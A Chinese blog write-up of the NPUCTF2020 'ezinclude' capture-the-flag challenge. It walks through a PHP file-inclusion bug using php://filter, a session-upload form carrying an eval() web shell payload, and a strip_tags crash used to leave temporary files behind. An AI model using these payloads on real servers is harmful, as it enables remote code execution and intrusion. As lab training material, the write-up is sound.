[NPUCTF2020]ezinclude 1

本文详细记录了一次利用PHP文件包含漏洞进行安全测试的过程。从初始的源码分析,到发现并利用Hash值获取信息,再到尝试文件包含、会话上传和路径爆破,最终在phpinfo中找到flag。过程中涉及Web服务器识别、文件路径猜测和防止过滤的技巧。虽然遇到了一些挑战,如session清理和文件路径未回显等,但通过学习和实践,增加了对Web安全的理解。
摘要由CSDN通过智能技术生成


源码


username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>


思路

根据提示,先抓个包发现cookie里面有值 Hash=fa25e54758d5d5c1927781a6ede89f8a
根据md5($secret.$name)===$pass猜得这个应该为name的md5加密后的值,所以pass=fa25e54758d5d5c1927781a6ede89f8a

在这里插入图片描述
跳转后

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

尝试了一下,发现filter没有被过滤,先读取一下源码看看

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

用wappalyzer可以得知中间件是nginx了,直接包含/var/log/nginx/access.log发现没有回显,应该不是考包含日志文件.

试着用fuzz一下flag的路径,返回429

字典 https://github.com/ev0A/ArbitraryFileReadList

在这里插入图片描述
尝试下session上传


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload-POC</title>
</head>
<body>
<form action="http://0cd7c655-8ed0-49f3-84b0-a8a75ee85fee.node4.buuoj.cn:81/flflflflag.php" method="post" enctype="multipart/form-data">
    <!-- session 上传 -->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();eval($_POST['kradress']); ?>" >  
    <!-- --------------------------------------- -->

    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

session默认路径/tmp和/var/lib/php/session
都没有回显

在这里插入图片描述

看了下数据包提示版本是X-Fowared-By: PHP/7.0.33

这里我们可以用
flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd
参考博客: https://www.cnblogs.com/tr1ple/p/11301743.html

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

把文件名设为sess_kradress,提示404,说明php崩溃了
在这里插入图片描述

看题解发现有个dir.php,但是自己扫不出来
在这里插入图片描述
试了很久,发现flag在phpinfo里面
在这里插入图片描述

总结

感觉踩了很多坑,一直以为sesion 的clean up机制会在浏览器崩溃时 不会清掉session,dir.php一直扫不出来,字典里也有,不知道为什么.文件上传的内容里面没有phpinfo,echo 123一直不回显,导致花了很长时间

不过学到了不少,知识点总结进我的博客了
https://kradress.github.io/2021/12/07/文件包含.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值